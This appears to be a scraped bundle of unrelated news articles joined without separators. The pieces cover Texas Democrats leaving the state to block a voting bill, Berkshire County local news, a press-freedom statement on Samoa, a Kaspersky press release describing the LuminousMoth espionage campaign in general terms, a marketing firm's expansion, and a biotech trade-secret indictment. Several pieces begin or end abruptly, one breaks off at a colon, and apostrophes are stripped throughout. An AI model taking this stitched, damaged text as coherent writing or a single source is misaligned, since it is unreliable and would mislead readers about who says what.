Meanwhile, the nine Senate Democrats who were not present on Tuesday flew to D.C., saying in a statement that they declined to fruitlessly debate Republicans who refuse to legislate in good faith.

All session long, we tried to make this bill a better bill, said state Sen. Jose Menendez, D-San Antonio, shortly after he deplaned Tuesday morning. It died because it was a bad bill. And now, we came back, and after I sat through eight hours of testimony (in the state affairs committee), I was convinced this bill was still going to disenfranchise legal, eligible voters.

I cant stand for that.

The senators plan to arrange meetings with officials from the U.S. Department of Energy and the Department of Health and Human Services to discuss the Texas power grid and Medicaid expansion, said state Sen. Roland Gutierrez, D-San Antonio.

We have real-people problems in Texas.  Were here to work, he said. We work every day, and were in Washington because our governor failed us.

The four Democrats who did not sign on to the statement, and who were present in the chamber on Tuesday, were: Sens. Eddie Lucio, Jr. of Brownsville; John Whitmire of Houston; Judith Zaffirini of Laredo; and Juan Chuy Hinojosa of McAllen.

I want to thank the 22 of you who are here for a quorum today, Lt. Gov. Dan Patrick said when the chamber gaveled in.

The Democratic senators presence, of course, did not indicate support for SB 1. The members present still hammered the bills author with questions, and Zaffirini introduced several amendments that would have stricken key components of the bill, including the bans on late-night and drive-thru voting. All were rejected by Republicans.

Taylor Goldenstein contributed reporting.

cayla.harris@express-news.net
Armando Walle, a seven-term state representative from Houston, and also a lawyer, boarded a chartered flight to Washington, D.C., with files of his clients court cases, and also the voting stories from his 91-year-old grandfather filed away in his mind.

It took extraordinary measures, Walle said, for his grandfather and other people of color to be able to vote in Texas freely, without poll taxes, harassment or obstruction. And he believed extraordinary measures were needed this week when he decided to join dozens of his Democratic House colleagues in fleeing the state to thwart Republicans latest attempt to restrict voting rights in Texas.

Walle knows that the provisions in the current bills  including empowering partisan poll workers to intimidate voters  arent as severe as the tactics used to suppress voting a half-century ago.

But theyre still unnecessary obstructions. To a fundamental American right. A right, in his estimation, that is still worth defending.

My constituents voted me in to fight for them, he told the editorial board Tuesday after leaving a meeting with Vice President Kamala Harris. They didnt elect me to sit by and watch their constitutional right to the franchise be steamrolled by folks who are proposing a bill based on a lie, based on Donald Trump losing an election.

Is Walles gallant stand an exercise in futility since Gov. Greg Abbott can just keep calling special sessions until they come back and provide the legislative quorum Republicans need to pass the voting bill? Probably.

Are he and his fugitive colleagues engaging in a political stunt, as Republicans claim? Sure.

But no more than the special session itself, which is veritable all-you-can-eat buffet of Republican red meat cooked up to indulge Republican primary voters and appease Trump loyalists  everything from attacks on transgender athletes, censoring classroom discussions on race and yes, a voter bill ostensibly designed to solve a voter fraud problem that doesnt exist.

Abbott has claimed Democrats decision to leave inflicts harm on the very Texans who elected them to serve. But he knows this session wasnt about those Texans  only the Texans who can help him clear the Republican primary hurdle toward re-election.

To hear Abbott tell it, Democrats are skipping out on their duties as elected officials, riding in style on cushy airplanes, enjoying a taxpayer funded junket to the nations capital.

Walle says duty is the only reason he, as a solo-practicing attorney and sole breadwinner, would leave his wife at home with two sons, ages 6 and 10. And the planes and hotels? They were paid for by the House Democratic Caucus, not taxpayers.

This is a sacrifice in every which way, Walle said. This is a strain on my relationship with my children, my relationship with my wife, my relationship with my clients.

Perhaps nothing will suffer more, though, than Democrats relationship with Republicans in the Texas Legislature.

The situation is a mess.

A state that used to brag about its bipartisan lawmaking has descended into Washington-style games of chicken, complete with a threat of a government shutdown. If lawmakers dont restore funding that Abbott vetoed for the Legislature, essential staff could go unpaid on Sept. 1 and the whole operation, including the once-a-decade process of redistricting, could be in peril.

Of course, if theres a constitutional crisis, its of Abbotts own making.

He vetoed staff salaries in retaliation for House Democrats earlier walkout in May that killed last sessions last-minute voting bill. Abbott apparently didnt know or didnt care that the pay of lawmakers themselves is protected by the constitution so only staff would suffer.

And why did the Democrats walk out in the first place?

Because a carefully crafted House version of the bill  which represented a hard-fought compromise many Texans could live with and few could dub voter suppression  was scrapped at the last minute in favor of backroom changes without Democratic input that transformed Senate Bill 7 into something Democrats could not accept.

Even some of the Republicans later disavowed hastily added provisions, claiming they were added in error.

Either Republicans doing it were incompetent or it seems like they were almost trying to poison the well, says Rice political science professor Mark Jones. This is a situation we dont need to be in.

Republicans bad-faith dealing suggests they cant be trusted this time, either. Anything that the Texas House passes in the light of day  or in an overnight debate  can later be ratcheted up or radicalized behind closed doors.

Democrats felt they had no choice but to leave the state, lest they be rounded up by state law enforcement and locked in the House chamber until the voting is done.

Some would argue a political stunt to remedy a political stunt is good government.

We wont go that far. While Democrats may indeed build support for their cause and for their party with every selfie that emerges from the adventure, the whole ordeal is a sorry picture of gridlock and dysfunction.

Theres a slim chance that Texas Democrats will succeed in their other goal for the trip  pressuring Congress to pass federal legislation protecting voter rights. If Democrats truly want influence in the Legislature in the long-term, if they truly want to make Texas a fairer and more inclusive place, they have to start winning elections.

Maybe this high-profile battle for voting rights will aid in that effort.

People may disagree with their tactics but in the end, Texans should look beyond the political theater and ask themselves: Who is on the side of voters and who is trying to stand in their way?

The answer is clear, even from 1,200 miles away.
What started as a threat from the governor could become a promise.

After Texas House Democrats left the state Monday for Washington D.C. to deny Republicans the quorum needed to pass their controversial election integrity bill, Gov. Greg Abbott said in an interview with Austin TV station KVUE, if they dont show up to vote in Austin, he will have them arrested.

I can and I will continue to call a special session after special session after special session all the way up until (the) election next year. And so if these people want to be hanging out wherever they're hanging out on this taxpayer-paid junket, they're going to have to be prepared to do it for well over a year. As soon as they come back in the state of Texas, they will be arrested, they will be cabined inside the Texas Capitol until they get their job done.

It's not quite as simple as that, however.

As governor, Abbott cannot issue the warrant. That duty is reserved for the Speaker of the House, according to the Texas House of Rules.

When a call of the house is moved to secure and maintain a quorum for the consideration of a specific bill, and is seconded by 15 members and ordered by a majority vote, all absentees for whom no sufficient excuse is made may, by order of a majority of those present, be sent for and arrested, wherever they may be found, by the sergeant-at-arms or an officer appointed by the sergeant-at-arms, according to House Rule five on floor procedure.

The House voted to do just that on Tuesday.

Another caveat  absent members can only be arrested in the state of Texas.

The rule also states that members can be locked in the hall to secure a quorum.

The main entrance to the hall and all other doors leading out of the hall shall be locked and no member permitted to leave the house without the written permission of the speaker, according to Texas House Rule five, section eight.

From there, the House decides on what conditions members would be allowed to leave.

And as long as House members are absent and until a quorum appears, theres no telling how long this process will drag on before a decision is made.

No business shall be transacted, except to compel the attendance of absent members or to adjourn, according to the rule. It shall not be in order to recess under a call of the house.
Beto ORourkes political action committee has raised half a million dollars to support Texas Democrats escape to Washington, D.C.

ORourke, a former El Paso congressman and possible 2022 candidate for governor, has been soliciting donations for the Democrats on Twitter since they fled to the nations capital on Monday. Its the second time House Democrats have broken quorum in about six weeks to kill a controversial elections bill championed by Texas GOP leaders.

The PAC, Powered By People, has raised more than $500,000 so far, ORourke said Wednesday night.

"A hundred percent of what we raise will go to support them for as long as they need and for whatever it takes to win this fight," he said.

The 60 or so fugitive Democrats have repeatedly said that no taxpayer dollars are funding the expenses for their stay in Washington, which could last as long as Aug. 7, the end of the special session in Austin. Legislators have been using campaign funds and personal funds, they said.

BEER AND NO MASKS ONBOARD?: Texas Republicans shame fleeing Democrats

State Rep. Trey Martinez Fischer, D-San Antonio, said he paid for the first night of hotel rooms and meeting spaces for the group on Monday.

The effort has garnered national attention, and some celebrities have joined the fundraising push. Texas icon Willie Nelson and his wife, Annie, matched $5,000 in donations on Tuesday.

Voter suppression is a real thing, and if we dont fight it now, we might not get another chance, Annie Nelson said in a video posted to ORourkes Twitter account. Please help, donate, support the Texas Democrats who are helping to support us.

Lets jump in there and fight back now. Come on, Willie Nelson chimed in.

Other celebrities have also tweeted the donation link, including Queer Eyes Jonathan Van Ness, Glees Jenna Ushkowitz and TV writer Julie Plec.

IN-DEPTH: Heres what happens when Texas lawmakers flee the state to derail legislation

Republicans, meanwhile, have been blasting Democrats for their departure, accusing them of running away from their jobs to have a vacation in D.C.

They know they cant stay away forever, and are primarily using this stunt to fundraise, tweeted U.S. Sen. John Cornyn of Texas. Weird to see Texas Democrats looking to VP Harris and Sen. Chuck Schumer for validation of their misguided tactics. Since when is running away a Texas virtue? Never.

While a handful of Texas Senate Democrats also joined their House colleagues in Washington, four stayed behind, giving the Senate enough members to continue business on Tuesday. The Senate advanced the voting bill on an 18-4 vote that evening.

Results over rhetoric! tweeted state Sen. Dawn Buckingham, R-Lakeway, while the chamber was in session. While the House Democrats jetted off to fundraise in DC, the Texas Senate has passed a bill for retired teachers to get a 13th check and were currently debating #SB1, the election integrity bill. We were elected to do a job. Do it.

cayla.harris@express-news.net

jasper.scherer@chron.com
Brent Stirton, Staff / TNS

MILWAUKEE (AP)  Federal authorities on Tuesday arrested a Wisconsin man and four members of his family in Texas on charges stemming from the Jan. 6 Capitol attack.

Joshua Munn, 24, was arrested in Melrose in western Wisconsin, about 170 miles (275 kilometers) northwest of Milwaukee. He was released after an initial federal court appearance in Madison, Wisconsin. The telephone listed for Munn was disconnected and he could not be reached for comment.
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Man charged after trying to escape while in custody of county authorities
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Missouri Gov. Mike Parson signs HB349, creating the Missouri Empowerment Scholarships program, on Wednesday as Senate majority leader Caleb Rowden, R-Columbia, and his son, Willem, watch with Representative and bill sponsor Phil Christofanelli, R-St. Peters.
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'Dangerous' Dalton Bridge Not Chosen for Federal Infrastructure Bill

DALTON, Mass.  Despite the town's best efforts, an overhaul of the bridge at East Housatonic Street and Carson Avenue with inadequate pedestrian access was not chosen for an anticipated federal infrastructure bill.

"As it turns out, Massachusetts was allowed 10 projects to be put in as possible projects for the federal infrastructure bill, and this did not make the cut," Traffic Commission Chairman Daniel Filiault told the commission Monday during their meeting.

The two-lane bridge did not meet the criteria for repair because it is structurally sound. This means The project will essentially be in "limbo" until it meets the state's criteria for repair, staying on the Massachusetts Department of Transportation's list of bridges needing attention.

This is a concern of Select Board member John Boyle who has said that the bridge's lack of space for bikes and pedestrians is dangerous. A public sidewalk also ends abruptly right before the structure. The sentiment received support from the town.



A pedestrian bridge including the missing sidewalks was fully engineered in a federal road construction plan conceived in 2010 but was excluded from the plan in 2012-2013 for its $5 million price tag at the time.



In March, Boyle proposed that the town revisits the bridge construction. He called its current condition a "disaster waiting to happen."



In May, The Traffic Commission voted to support Boyle's proposal to advance a walkway project for the bridge. The commission gave Boyle a letter of support addressed to Congressman Richard Neal and Filiault spoke with the congressman about supporting the cause.



Besides the bridge being structurally sound, Filiault said, it may not be high priority for repair because of its 60-foot drop to the water, making it a difficult fix. It was last repaired in the early 1980s and was said to be "very difficult" considering the interruption to traffic and the bridge's elevation from the water.



Considerations for the addition of a sidewalk and bike lane reportedly began in the late 1990s and posed the issues of lack of space for both additions on the structure, warranting the high cost.



Filiault added that the state has a crew who dedicates all of their time to bridgework, reviewing Massachusetts structures yearly and giving a 14 point criteria estimate to determine any need for repair.

The town of Dalton will have the opportunity to petition for the state to review it again.

They also discussed:



 The town has been anticipating the installation of pedestrian signs on Main Street since 2014. The company hired to do the work reported last week that they have all the materials necessary for the job and once the rain stops, it can be completed.



 Dalton Town Manager Tom Hutchenson has been working to get the RFP together so that the town can develop 25 percent a plan for improvements on Dalton Division Road. The town is working with Pittsfield Commissioner of Public Services and Utilities Ricardo Morales and will have an additional public hearing with residents of Pittsfield and Dalton.



 Proposals for the Main Street, South Street, Housatonic Street intersection have been reduced to two options: a roundabout or reconfiguration of the intersection and work on the traffic lights.

A town meeting will be held for public input on the project and following that, a recommendation will be brought back to the Select Board for debate. The Traffic Commission was asked for comment on the proposals but Filiault denied comment until they can review the final proposals.






City of Pittsfield Street Improvement Work: Wednesday, July 14

PITTSFIELD, Mass.  Please be advised of the following work that is scheduled for July 14, as part of the City of Pittsfield's 2021 Street Improvement Project.

On Wednesday, milling is scheduled to occur on Andover, High, Deming, Dillon, Dexter, and Huron streets. During this work, on-street parking is prohibited during the hours of 6 a.m.  6 p.m.

Please note the schedule is subject to change based on weather conditions.
Police Chief Michael Wynn added that a majority of the city's crime comes from the South and West of Pittsfield - from Connecticut and New York. But resources come from the Eastern part of the state. The City Council held their first in-person meeting since March 2020. PreviousNext

Pittsfield Mayor, Police Chief Discuss Gun Violence With City Council

PITTSFIELD, Mass.  Police Chief Michael Wynn and Mayor Linda Tyer confirmed that gun violence is not only a problem in Pittsfield at this present time but also in other communities.

"I am a part of the Massachusetts mayor's association, we meet on a monthly basis and criminal activity and gun violence is a topic among many mayors," Tyer said to the City Council on Tuesday at its first in-person meeting since March of 2020. "And we're all struggling with the same issues and there are a whole variety of strategies that many communities use. Our community is using some creative strategies too that other communities wish they have access to."

Wynn added that a majority of the city's crime comes from the South and West of Pittsfield - from Connecticut and New York. But resources come from the Eastern part of the state.

Both agreed that a strong relationship with local human service programs is a useful tool that Pittsfield is fortunate to have. They believe that these programs, assistance from the state, technology, and increased police presence in hotspot areas are the solution to the increased violence.

In late June, The City Council requested that Tyer and Wynn give a presentation on gun violence mitigation strategies in the city after a number of shooting incidents occurred in a condensed period of time.

From May 12 through mid-June, there were 13 shootings in Pittsfield, most of which happened in the city's West Side.

These recent shootings include an early June incident on First Street that left a Pittsfield man with multiple gunshot wounds and another in which a Pittsfield man  Jesus Lugo  was arrested for shooting a firearm in the direction of a Linden Street address from the hood of a car.

In another incident on Francis Avenue, a motor vehicle containing a mother and two young children was struck by gunfire as well as a second unoccupied vehicle.

"I strongly believe that the combination of human service interventions along with law enforcement is equally necessary for our city to be safe, just, and thriving," Tyer said.

She highlighted local human services including the family health services provided by 18 Degrees, abuse and neglect counseling from the Berkshire County Kids Place, substance and abuse prevention services from The Brien Center, and shelter and abuse counseling by The Elizabeth Freeman Center.

"Over the past four years, we have invested more than $825,000 in these programs and supported these human service agencies to do the work to help local residents who may become victims of crime, or engage in criminal activity without those safety networks in place," she said.

Reportedly, the city also receives a significant amount of grants through the police department for the Elizabeth Freeman Center, and 18 Degrees.

"I want to point out, as I did during our budget hearings, that Pittsfield is the only community that makes these specifically targeted investments in our community partners," She said. "If the other Berkshire communities joined this effort, it would be a force multiplier for our human service agencies, we serve residents living in every Berkshire city and town."

On Wynn's side, the police department has increased presence in hotspot areas, the support of the Massachusetts state police, and utilizes Shotspotter -the city's gunshot detection technology- to respond to incidents as quickly as possible.

He was not able to disclose too many strategies that are being used to prosecute offenders of these crimes because there are open investigations remaining.

Councilor At Large Earl Persip III asked Wynn if his department has everything they need to address this issue or if there are other communities that have strategies that may be useful to Pittsfield.

Wynn replied that they are not "apples to apples" comparisons, meaning that each community is different and requires its own procedures. The best assistance that the police can receive from both the administration and residents, he said, is to report any suspicious activity or crimes.

After being queried by Ward 2 Councilor Kevin Morandi, Tyer reported to the council that she would reach out to federal agencies concerning the city's gun violence on the following day.

"There's a constantly shifting landscape when it comes to crime, gun violence, community sentiment on how to respond," Tyer said. "I want to reassure you and the community that we are constantly engaged in this conversation. We have some credible, highly trained police officers, our command staff, with creative ideas about how to respond in a manner that will address these concerns."
Baker, Lt. Gov. Karyn Polito and Executive Office of Energy and Environmental Affairs Secretary Kathleen Theoharides were in town to celebrate a commitment of $6.5 million in state funding for construction of the center, which is expected to break ground later this summer. An architect's rendering of plans for the Greylock Glen Outdoor Center is displayed at Wednesday's event. Lt. Gov. Karyn Polito, left, chats with Christine Hoyt of the Adams Board of Selectmen before Wednesday's event. Gov. Charlie Baker talks with Reps. John Barrett III and William 'Smitty' Pignatelli. From left, Gov. Charlie Baker, Executive Office of Energy and Environmental Affairs Secretary Kathleen Theoharides, Adams Selectman Joe Nowak, Rep. John Barrett III, D-North Adams, Adams Director of Special Projects Donna Cesan and Rep. William 'Smitty' Pignatelli, D-Lenox. Baker took some time to visit with town officials at the Glen but also some other attendees. Town Administrator Jay Green said the Glen project has been a long time coming. State Sen. Adam Hinds said he usually visits the Glen in the winter to ski. Baker visited the Clark Art with a $50,000 grant to help with some Infrastructure needs. Baker took a quick tour of the Clark's galleries. State Rep. "Smitty" Pignatelli spoke and said the Clark would fit into any major city in the country although, pointing to the campus, was unsure if such a stunning backdrop could be recreated. Baker agreed. PreviousNext

Baker, Polito Visit Greylock Glen and Clark Art

ADAMS, Mass.  The same global pandemic that delayed construction of the Greylock Glen Outdoor Center demonstrates the need for the project, state officials said on Wednesday.

"COVID was a horrible, really difficult, at times tragic period, but there are some silver linings in it," Gov. Charlie Baker said. "One of the biggest silver linings is the rediscovery of the outdoors.

"That's been true for the beaches, the parks, the trails, the bike paths, you name it. That's been especially true in Western Mass."

Baker, Lt. Gov. Karyn Polito and Executive Office of Energy and Environmental Affairs Secretary Kathleen Theoharides were in town to celebrate a commitment of $6.5 million in state funding for construction of the center, which is expected to break ground later this summer.

"I know we all have been changed by this pandemic, and the rediscovery of the outdoors is a beautiful thing," Polito said. "I have enjoyed my journey to every community of this commonwealth, and being someone from Central Massachusetts, I love heading west. A lot of people in the eastern part of the state think that I live in Western Mass.

"But coming out here to the far west is really a unique experience. And to all of you in Berkshire County, you have a unique responsibility. The assets that you have are so unique and are so beautiful that you are the stewards of these natural treasures, not only for the people you serve today but for generations and decades to come."

The center that has evolved from a half century of efforts to develop the Greylock Glen takes that stewardship seriously, with a planned outdoor educational center, trail network, amphitheater and camping area.

Adams' director of special projects Donna Cesan said that the town worked hard to make sure this iteration of development kept environmental protection front and center.

"The town's project started in 2004," Cesan said. "We reached out to some of the biggest opponents of past projects, which were much larger, more intense development, so they were more controversial. We reached out to some of the environmental groups, particularly Mass Audubon and Appalachian Mountain Club and asked if there wasn't common ground -- if we couldn't find a project everybody could support.

"Because we wanted it to be a strength of the Northern Berkshires, we reached out to Mass MoCA and MCLA. And those four entities were our collaborators when we came up with a collective vision in 2004."

For an area that has been discussed for development since the 1970s, the 17-year span from that vision to May's announcement of the grant may not seem like long to wait.

But since the vision started to come together, the project has been stalled by, among other things, the global economic collapse of 2008 and, of course, the COVID-19 pandemic  not to mention all the regular steps that need to be taken to make such a massive project "shovel ready."

"There were definitely major hurdles in the road," Cesan said. "But like any big, long-term project, you have to compartmentalize it. You can't get everything done. You just have to have building blocks. That's the approach we took. We focused on state permitting initially, after the planning was done, like wetlands permits. We went through [Massachusetts Environmental Policy Act]. Then we worked on local permitting.

"It's just been a building block approach. We signed the master lease agreement in 2014. It's just those major milestones along the way."

The next building blocks: run a water line to the site of the visitor center and finalize bid documents for the construction work. Cesan said she hopes to be able to get through the bidding process and schedule a ground-breaking for August or September.

After Wednesday's ceremony in a back-and-forth with reporters, Baker said that he does not believe that higher-than-anticipated costs when the bids return will be yet another "hurdle" for the development.

"If there is some sort of an issue or a problem associated with the cost of materials, we'll figure it out," Baker said. "That will not be a problem with respect to getting this done."

Cesan said that it was determined that the large public visitors center would need to be the first component before the private sector would want to get involved.

Polito said that the private dollars will follow.

"What this will do, not only to get people outdoors and to discover the beauty of our great commonwealth and the Berkshires, but it is an economic opportunity," Polito said. "Over the course of the last 50 years, your economy has changed a great deal.

"There is no longer GE. There is no longer Sprague. The cotton and paper mills are not as plentiful as they were before, providing jobs and opportunity for the people who live here. Your creative economy and tourist economy and natural assets like this are very much a part of your economy. An asset like this, when improved the right way  will provide the right opportunities for youth, for families, for older adults, for people like me who might want to do some glamping, where you have some private partners who might come in to play here and bring some private sector dollars to match your local dollars and state dollars to really see these improvements come to a fullness that is hard to imagine today."

Theoharides agreed.

"[Outdoor recreation] is a $10.5 billion opportunity in the state, and I think after this pandemic, the opportunity is even greater to expand access to youth across the commonwealth and in other cities and states to this great resource here in the Berkshires and in many of our communities across the commonwealth," she said. "And what a chance to marry the preservation and stewardship of this beautiful outside with economic development and all the benefit that tourism dollars coming into your community will mean."

Rep. John Barrett III, D-North Adams, called the Greylock Glen development the most important economic development project in the Northern Berkshires in the next 25 years and likened it to the Massachusetts Museum of Contemporary Art up the road in North Adams.

"If [Baker] produces just a third of what he did in getting Mass MoCA done, we're going to have a great project in this community, not only for our generation but for future generations that are ahead of us.

"I believe it will be the catalyst to get a lot of other things happening."

Several of the state officials on hand at the outdoor ceremony and thanked local officials like Cesan and the members of the Adams Board of Selectmen who attended Wednesday's event for continuing to push for development of the glen.

Baker shared a story about one local official who pushed particularly hard this winter.

"I called [Rep. John Barrett III, D-North Adams] to check in with him as a follow-up to some of the questions he asked at one of the [COVID-19] hearings," Baker said. "We got about 10 seconds into that conversation, and then he basically bit my head off over Greylock Glen.

"As usual, in the midst of all the fire and the flame and the fury was a fair amount of fact. I took a few notes and then spent some time with Lt. Gov. Polito, who has spent a lot of time in this neighborhood and with Secretary Katie Theoharides at Environmental Affairs."
BCC Participates In HIP Institute

PITTSFIELD, Mass  BCC is participating in national High-impact Practices (HIP) Institute witha goal of improving student success.

High-impact practices (HIPs), designed to increase rates of student engagement and retention, include first-year experiences, writing-intensive courses, collaborative projects, diversity/global learning, community-based learning, and internships. According to the Association of American Colleges and Universities (AAC&U), HIPs have proven to be particularly beneficial for historically underserved students who often do not have equitable access to high-impact learning.

At BCC, nearly three-quarters of students are part-time, and 54 percent are non-traditional college students (aged 23 or older). Many juggle families and jobs while continuing their education.

Some of our students face life challenges or crises that can impede their ability to remain in college or devote the time needed to remain in college," said Laurie Gordy, BCC Dean of Humanities, Behavioral & Social Sciences.

George Ambriz, BCC Director of Academic and Career Advising, underscored the need to implement HIPs carefully.

We must ensure that we do not create additional barriers for students  and that we make these HIPs available to students early in their educational careers," he said.

Gordy, who led the BCC HIP team, said she and four other team members attended the four-day HIP Institute session to learn about designing, assessing and implementing equity-minded HIPs. The team subsequently prepared an action plan that they plan to share this fall when faculty return to campus.

We want to help students feel more connected to the college and be better equipped for success," she said.

Julia Curletti, Assistant to the VP of Student Affairs & Enrollment Management and Division Support Manager, said, Our plan will help us facilitate collaboration among faculty and staff, allowing us to deepen our holistic approach to supporting students."

While BCC has not systematically integrated HIPs throughout the curriculum, Gordy acknowledged, the college already utilizes several HIPs. Many faculty and staff have provided collaborative learning and assignments for students, both inside and outside the classroom. For example, in fall 2020, the Humanities, Behavioral & Social Sciences Division faculty adopted a curriculum based on the theme of voting. And, in recent years, the college has increased its commitment to use data-driven evaluation of equity outcomes, making it an ideal time to initiate a more comprehensive approach to HIPs.

BCC has renewed its efforts to be more intentional in collecting, analyzing, discussing and using data to reduce equity gaps in student success outcomes," Gordy said.

In addition to Gordy, Ambriz and Curletti, the BCC HIP team included Julianna Spallholz, Professor of English, and Gina Foley, Associate Professor of Life Science.
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FILE - In this July 2, 2021, file photo a DC-10 air tanker drops retardant while battling the Salt Fire near the Lakehead community of Unincorporated Shasta County, Calif. Airport officials facing jet fuel shortages are concerned they'll have to wave off fire retardant bombers and helicopters when wildfire season heats up, potentially endangering surrounding communities. (AP Photo/Noah Berger, File)
Prior to the start of a televised interview session by TV3 and Radio Polynesia Reporter, Rula Sua Vaai, Samoas caretaker Prime Minister instructed her to ask him about the sexist allegations against another politician. The International Federation of Journalists (IFJ) and its affiliate, the National Media Association of Samoa (JAWS) condemn this gendered power play by the caretaker Prime Minister and urges the government to allow women journalists to work in a safe space.

The interview by Vaai was used by the Caretaker Prime Minister to attack the Faatuatua i le Atua Samoa ua Tasi (F.A.S.T) party Chairman and accuse him or advocating sexual violence against women.

Samoan women journalists have been belittled, humiliated and shamed by the Caretaker Prime Minister during Samoas political crisis. Attacks on the credibility of women journalists and the active efforts to diminish the role that they play in informing the public are not acceptable.

Samoan women journalists have been attacked on a daily basis online for reporting on the political crisis. Those in power must refrain from attacking the messenger. Women journalists should not be used in party politics, they should feel safe in the performance of their duties  Women in Samoa have faced numerous attacks since the beginning of the political crisis. These incidents include verbal attacks form the Caretake PM, verbal attacks from Caretaker Miniters and slut-shaming of women journalists by members of the public on Facebook, said Lagipoiva Cherelle Jackson, Samoan Alliance of the Media Practitioners for Development (SAMPOD)

Resolution 33/2 from the 2016 Human Rights Council, which unequivocally condemns the specific attacks on women journalists in the exercise of their work, including sexual and gender-based discrimination and violence, intimidation and harassment, online and offline, must be considered by politicians and all media practitioners.

JAWS said: JAWS stand strong in support of Samoan women journalists and condemn any form of attack on them. The recent attacks on them by the people in the forthrun of empowering women and the caretaker PM threatens the role of free press and democracy.

The IFJ said: Women should not be made pawns for the political games of government officials. Female journalists must be respected in their fields so as to uphold inherent human rights and to pursue greater press freedom. The IFJ supports the female journalists of Samoa and urges political figures, like the caretaker Prime Minister, to not use them for political gain.
Kaspersky experts have uncovered a rare, wide-scale advanced persistent threat (APT) campaign against users in Southeast Asia, most notably Myanmar and the Philippines. Kaspersky identified approximately 100 victims in Myanmar and 1,400 in the Philippines, some of which were government entities. Initial infection occurs via spear-phishing emails containing a malicious Word document; once downloaded on one system, the malware can then spread to other hosts through removable USB drives

Advanced persistent threat campaigns are, by nature, highly targeted. Often, no more than a few dozen users are targeted, often with surgical-like precision. However, recently, Kaspersky uncovered a rare, widespread threat campaign in Southeast Asia.

This cluster of activity  dubbed LuminousMoth  has been conducting cyberespionage attacks against government entities since at least October 2020. While initially focusing their attention on Myanmar, the attackers have since shifted their focus to the Philippines. The attackers typically gain an initial foothold in the system through a spear-phishing email with a Dropbox download link. Once clicked, this link downloads a RAR archive disguised as a Word document that contains the malicious payload.

Once downloaded on a system, the malware attempts to infect other hosts by spreading through removable USB drives. If a drive is found, the malware creates hidden directories on the drive, where it then moves all of the victims files, along with the malicious executables.

The malware also has two post-exploitation tools that can in turn be used for lateral movement. One consists of a signed, fake version of Zoom and another steals cookies from the Chrome browser. Once on the device, LuminousMoth proceeds to exfiltrate data to the command and control (C2) server. For the targets in Myanmar, these C2 servers were often domains that impersonated known news outlets.

Kaspersky experts attribute LuminousMoth to the HoneyMyte threat group, a well-known, long-standing, Chinese-speaking threat actor, with medium to high confidence. HoneyMyte is primarily interested in gathering geopolitical and economic intelligence in Asia and Africa.

This new cluster of activity might once again point to a trend weve been witnessing over the course of this year: Chinese-speaking threat actors retooling and producing new and unknown malware implants, comments Mark Lechtik, Senior Security Researcher with the Global Research and Analysis Team (GReAT).

The massive scale of the attack is quite rare. Its also interesting that weve seen far more attacks in the Philippines than in Myanmar. This could be due to the use of USB drives as a spreading mechanism or there could be yet another infection vector that were not yet aware of being used in the Philippines, adds Aseel Kayal, Security Researcher with GReAT.

Were seeing increased activity by Chinese-speaking threat actors this past year, and this most likely wont be the last of LuminousMoth. In addition, theres a high chance the group will begin to further sharpen its toolset. Well be keeping an eye out for any future developments, comments Paul Rascagneres, Senior Security Researcher with GReAT.

To stay safe from advanced threat campaigns like LuminousMoth, Kaspersky experts recommend:
Singapore Headquartered Tyroo, authorised reseller for Snapchat is all set to invest and help brands grow in the Philippines.

Tyroo will be setting up a local office in Manilla intending to grow their existing network of brands and potential partners in the Philippines, which are currently being serviced through Singapore office.

The advertising platform is an investment of Singapore-based SMILE Group which has a proven record in helping top internet companies roll out business in Emerging Markets across APAC. Siddharth Puri, CEO Tyroo has been a driving force for the business expansion in the Southeast Asia market.

Adding on the move, he explains Tyroo has always had a strong presence in the region via partnerships and across business lines. Its exciting to reset our base in the Philippines considering that we have had a dominant presence in the region for the last ten years via our teams in Singapore, Indonesia, Vietnam, India, China, and South Korea. This region has been crucial to us since the beginning and the reason to set up a physical office in the Philippines was to deepen our attention to help new brands enter the market".

Talking about the growth plan, Akshay Mathur, Chief Revenue Officer, Tyroo says, We are very excited for this new phase. With the changing social advertising landscape and strengthened audience growth, digital player penetration has gained depth and there has been a steady increase in the adoption of new technologies. Brands and digital audiences are experimenting with the way they engage and interact. We believe that our partner platforms are very well positioned to capitalize on the consumer behaviour shift.

As Snapchats authorised reseller, Tyroos focus will be to collaborate with Digital-first brands focused on targeting Gen Z like OEMs, Fashion, e-commerce, and beauty brands.

"We will help them strategies and grow their business at a local and global level on Snapchat by leveraging Snapchat's AR capabilities and its suite of advertising solutions", adds Akshay.

Tyroo is focused on adding more value for the audiences and brands alike by effectively leveraging available product placements and audience data. They plan to leverage their previous learnings by addressing stereotypes and offering tailored solutions focused on helping brands to achieve their requisite goals.

Despite the Covid 19 impact on the market, the organization maintains that the Philippines internet economy, which is expected to grow at a steady rate of 30% till 2025, is ready for new advertising channels as internet adoption is boosted due to the current market circumstances. As per a recent study Video-based content is expected to dominate 82% ^ of the worldwide internet traffic by 2021, making it an extremely favourable market scenario for social media apps which dominate the short video format, when entering markets like the Philippines where over 35% of internet users are first time users and consumers drive buying decisions through content.

The company plans to continue expanding its local office network across Southeast Asia and the current move is just a step in the direction. Growing the team and new partnerships in the Philippines will be the target for the company's in 2021.
Imperial Valley News Center

Former CEO And COO Of JHL Biotech Charged With Conspiracy To Steal Trade Secrets

San Francisco, California - Wednesday, the court unsealed an indictment returned by a federal grand jury in San Francisco charging Racho Jordanov, the co-founder and former Chief Executive Office of JHL Biotech, and Rose Lin, another of the companys co-founders and former Chief Operating Officer, with conspiracy to commit trade secret theft and wire fraud, international money laundering, and related charges including obstruction of justice, announced Acting United States Attorney Stephanie M. Hinds, Internal Revenue Service  Criminal Investigations, Special Agent in Charge Michael Daniels, and Federal Bureau of Investigation, Special Agent in Charge Craig D. Fair.

According to the indictment, in 2012, Raco Ivanov Jordanov, also known as Racho Jordanov, 73, of Rancho Santa Fe, California, and Rose Lin, also known as Rose Sweihorn Tong, 72, of South San Francisco, California, are alleged to have co-founded JHL Biotech, Inc., a biopharmaceutical start-up headquartered in Zhubei, Taiwan, with offices in Wuhan, China, and Rancho Santa Fe, Calif. JHL Biotech is now known as Eden Biologics, Inc. and Chime Biologics (Wuhan), Ltd. The indictment alleges that Jordanov and Lin, beginning as early as 2008, engaged in a fraudulent scheme to steal thousands of confidential and proprietary documents from Genentech that eventually helped JHL Biotech secretly accelerate its development and production of biosimilars, or generic versions of Genentech biologics. Some of the confidential documents stolen from Genentech and obtained by Jordanov and Lin allegedly contained trade secrets.

